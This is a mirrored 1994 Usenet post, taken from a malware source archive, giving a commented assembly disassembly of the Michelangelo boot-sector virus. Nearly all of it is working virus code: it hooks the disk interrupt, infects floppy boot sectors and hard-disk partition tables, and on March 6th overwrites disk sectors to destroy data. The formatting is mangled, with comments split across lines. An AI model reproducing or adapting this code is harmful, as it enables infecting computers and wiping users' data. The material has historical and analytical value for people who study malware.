mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-30 15:05:27 +00:00
264 lines
9.8 KiB
NASM
264 lines
9.8 KiB
NASM
|
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:45:29 1994
|
||
|
|
Xref: netcom.com alt.comp.virus:511
|
||
|
|
Path: netcom.com!ix.netcom.com!netnews
|
||
|
|
From: Zeppelin@ix.netcom.com (Mr. G)
|
||
|
|
Newsgroups: alt.comp.virus
|
||
|
|
Subject: Ye Ole MichelAngelo Virus
|
||
|
|
Date: 29 Nov 1994 13:19:53 GMT
|
||
|
|
Organization: Netcom
|
||
|
|
Lines: 248
|
||
|
|
Distribution: world
|
||
|
|
Message-ID: <3bf9pp$iil@ixnews1.ix.netcom.com>
|
||
|
|
References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
|
||
|
|
NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
|
||
|
|
|
||
|
|
; This is a disassembly of the much-hyped michelangelo virus.
|
||
|
|
; As you can see, it is a derivative of the Stoned virus. The
|
||
|
|
; junk bytes at the end of the file are probably throwbacks to
|
||
|
|
; the Stoned virus. In any case, it is yet another boot sector
|
||
|
|
; and partition table infector.
|
||
|
|
|
||
|
|
michelangelo segment byte public
|
||
|
|
assume cs:michelangelo, ds:michelangelo
|
||
|
|
org 0
|
||
|
|
|
||
|
|
jmp entervirus
|
||
|
|
highmemjmp db 0F5h, 00h, 80h, 9Fh
|
||
|
|
maxhead db 2 ; used by damagestuff
|
||
|
|
firstsector dw 3
|
||
|
|
oldint13h dd 0C8000256h
|
||
|
|
|
||
|
|
int13h:
|
||
|
|
push ds
|
||
|
|
push ax
|
||
|
|
or dl, dl ; default drive?
|
||
|
|
jnz exitint13h ; exit if not
|
||
|
|
xor ax, ax
|
||
|
|
mov ds, ax
|
||
|
|
test byte ptr ds:[43fh], 1 ; disk 0 on?
|
||
|
|
jnz exitint13h ; if not spinning, exit
|
||
|
|
pop ax
|
||
|
|
pop ds
|
||
|
|
pushf
|
||
|
|
call dword ptr cs:[oldint13h]; first call old int 13h
|
||
|
|
pushf
|
||
|
|
call infectdisk ; then infect
|
||
|
|
popf
|
||
|
|
retf 2
|
||
|
|
exitint13h: pop ax
|
||
|
|
pop ds
|
||
|
|
jmp dword ptr cs:[oldint13h]
|
||
|
|
|
||
|
|
infectdisk:
|
||
|
|
push ax
|
||
|
|
push bx
|
||
|
|
push cx
|
||
|
|
push dx
|
||
|
|
push ds
|
||
|
|
push es
|
||
|
|
push si
|
||
|
|
push di
|
||
|
|
push cs
|
||
|
|
pop ds
|
||
|
|
push cs
|
||
|
|
pop es
|
||
|
|
mov si, 4
|
||
|
|
readbootblock:
|
||
|
|
mov ax,201h ; Read boot block to
|
||
|
|
mov bx,200h ; after virus
|
||
|
|
mov cx,1
|
||
|
|
xor dx,dx
|
||
|
|
pushf
|
||
|
|
call oldint13h
|
||
|
|
jnc checkinfect ; continue if no error
|
||
|
|
xor ax,ax
|
||
|
|
pushf
|
||
|
|
call oldint13h ; Reset disk
|
||
|
|
dec si ; loop back
|
||
|
|
jnz readbootblock
|
||
|
|
jmp short quitinfect ; exit if too many
|
||
|
|
failures
|
||
|
|
checkinfect:
|
||
|
|
xor si,si
|
||
|
|
cld
|
||
|
|
lodsw
|
||
|
|
cmp ax,[bx] ; check if already
|
||
|
|
infected
|
||
|
|
jne infectitnow
|
||
|
|
lodsw
|
||
|
|
cmp ax,[bx+2] ; check again
|
||
|
|
je quitinfect
|
||
|
|
infectitnow:
|
||
|
|
mov ax,301h ; Write old boot block
|
||
|
|
mov dh,1 ; to head 1
|
||
|
|
mov cl,3 ; sector 3
|
||
|
|
cmp byte ptr [bx+15h],0FDh ; 360k disk?
|
||
|
|
je is360Kdisk
|
||
|
|
mov cl,0Eh
|
||
|
|
is360Kdisk:
|
||
|
|
mov firstsector,cx
|
||
|
|
pushf
|
||
|
|
call oldint13h
|
||
|
|
jc quitinfect ; exit on error
|
||
|
|
mov si,200h+offset partitioninfo
|
||
|
|
mov di,offset partitioninfo
|
||
|
|
mov cx,21h ; Copy partition table
|
||
|
|
cld
|
||
|
|
rep movsw
|
||
|
|
mov ax,301h ; Write virus to sector
|
||
|
|
1
|
||
|
|
xor bx,bx
|
||
|
|
mov cx,1
|
||
|
|
xor dx,dx
|
||
|
|
pushf
|
||
|
|
call oldint13h
|
||
|
|
quitinfect:
|
||
|
|
pop di
|
||
|
|
pop si
|
||
|
|
pop es
|
||
|
|
pop ds
|
||
|
|
pop dx
|
||
|
|
pop cx
|
||
|
|
pop bx
|
||
|
|
pop ax
|
||
|
|
retn
|
||
|
|
entervirus:
|
||
|
|
xor ax,ax
|
||
|
|
mov ds,ax
|
||
|
|
cli
|
||
|
|
mov ss,ax
|
||
|
|
mov ax,7C00h ; Set stack to just
|
||
|
|
below
|
||
|
|
mov sp,ax ; virus load point
|
||
|
|
sti
|
||
|
|
push ds ; save 0:7C00h on stack
|
||
|
|
for
|
||
|
|
push ax ; later retf
|
||
|
|
mov ax,ds:[13h*4]
|
||
|
|
mov word ptr ds:[7C00h+offset oldint13h],ax
|
||
|
|
mov ax,ds:[13h*4+2]
|
||
|
|
mov word ptr ds:[7C00h+offset oldint13h+2],ax
|
||
|
|
mov ax,ds:[413h] ; memory size in K
|
||
|
|
dec ax ; 1024 K
|
||
|
|
dec ax
|
||
|
|
mov ds:[413h],ax ; move new value in
|
||
|
|
mov cl,6
|
||
|
|
shl ax,cl ; ax = paragraphs of
|
||
|
|
memory
|
||
|
|
mov es,ax ; next line sets seg of
|
||
|
|
jmp
|
||
|
|
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
|
||
|
|
mov ax,offset int13h
|
||
|
|
mov ds:[13h*4],ax
|
||
|
|
mov ds:[13h*4+2],es
|
||
|
|
mov cx,offset partitioninfo
|
||
|
|
mov si,7C00h
|
||
|
|
xor di,di
|
||
|
|
cld
|
||
|
|
rep movsb ; copy to high memory
|
||
|
|
; and transfer control
|
||
|
|
there
|
||
|
|
jmp dword ptr cs:[7C00h+offset highmemjmp]
|
||
|
|
; destination of highmem jmp
|
||
|
|
xor ax,ax
|
||
|
|
mov es,ax
|
||
|
|
int 13h ; reset disk
|
||
|
|
push cs
|
||
|
|
pop ds
|
||
|
|
mov ax,201h
|
||
|
|
mov bx,7C00h
|
||
|
|
mov cx,firstsector
|
||
|
|
cmp cx,7 ; hard disk infection?
|
||
|
|
jne floppyboot ; if not, do floppies
|
||
|
|
mov dx,80h ; Read old partition
|
||
|
|
table of
|
||
|
|
int 13h ; first hard disk to
|
||
|
|
0:7C00h
|
||
|
|
jmp short exitvirus
|
||
|
|
floppyboot:
|
||
|
|
mov cx,firstsector ; read old boot block
|
||
|
|
mov dx,100h ; to 0:7C00h
|
||
|
|
int 13h
|
||
|
|
jc exitvirus
|
||
|
|
push cs
|
||
|
|
pop es
|
||
|
|
mov ax,201h ; read boot block
|
||
|
|
mov bx,200h ; of first hard disk
|
||
|
|
mov cx,1
|
||
|
|
mov dx,80h
|
||
|
|
int 13h
|
||
|
|
jc exitvirus
|
||
|
|
xor si,si
|
||
|
|
cld
|
||
|
|
lodsw
|
||
|
|
cmp ax,[bx] ; is it infected?
|
||
|
|
jne infectharddisk ; if not, infect HD
|
||
|
|
lodsw ; check infection
|
||
|
|
cmp ax,[bx+2]
|
||
|
|
jne infectharddisk
|
||
|
|
exitvirus:
|
||
|
|
xor cx,cx ; Real time clock get
|
||
|
|
date
|
||
|
|
mov ah,4 ; dx = mon/day
|
||
|
|
int 1Ah
|
||
|
|
cmp dx,306h ; March 6th
|
||
|
|
je damagestuff
|
||
|
|
retf ; return control to
|
||
|
|
original
|
||
|
|
; boot block @ 0:7C00h
|
||
|
|
damagestuff:
|
||
|
|
xor dx,dx
|
||
|
|
mov cx,1
|
||
|
|
smashanothersector:
|
||
|
|
mov ax,309h
|
||
|
|
mov si,firstsector
|
||
|
|
cmp si,3
|
||
|
|
je smashit
|
||
|
|
mov al,0Eh
|
||
|
|
cmp si,0Eh
|
||
|
|
je smashit
|
||
|
|
mov dl,80h ; first hard disk
|
||
|
|
mov maxhead,4
|
||
|
|
mov al,11h
|
||
|
|
smashit:
|
||
|
|
mov bx,5000h ; random memory area
|
||
|
|
mov es,bx ; at 5000h:5000h
|
||
|
|
int 13h ; Write al sectors to
|
||
|
|
drive dl
|
||
|
|
jnc skiponerror ; skip on error
|
||
|
|
xor ah,ah ; Reset disk drive dl
|
||
|
|
int 13h
|
||
|
|
skiponerror:
|
||
|
|
inc dh ; next head
|
||
|
|
cmp dh,maxhead ; 2 if floppy, 4 if HD
|
||
|
|
jb smashanothersector
|
||
|
|
xor dh,dh ; go to next
|
||
|
|
head/cylinder
|
||
|
|
inc ch
|
||
|
|
jmp short smashanothersector
|
||
|
|
infectharddisk:
|
||
|
|
mov cx,7 ; Write partition table
|
||
|
|
to
|
||
|
|
mov firstsector,cx ; sector 7
|
||
|
|
mov ax,301h
|
||
|
|
mov dx,80h
|
||
|
|
int 13h
|
||
|
|
jc exitvirus
|
||
|
|
mov si,200h+offset partitioninfo ; Copy partition
|
||
|
|
mov di,offset partitioninfo ; table information
|
||
|
|
mov cx,21h
|
||
|
|
rep movsw
|
||
|
|
mov ax,301h ; Write to sector 8
|
||
|
|
xor bx,bx ; Copy virus to sector 1
|
||
|
|
inc cl
|
||
|
|
int 13h
|
||
|
|
;* jmp short 01E0h
|
||
|
|
db 0EBh, 32h ; ?This should crash?
|
||
|
|
; The following bytes are meaningless.
|
||
|
|
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
|
||
|
|
partitioninfo: db 42h dup (0)
|
||
|
|
michelangelo ends
|
||
|
|
end
|
||
|
|
|
||
|
|
|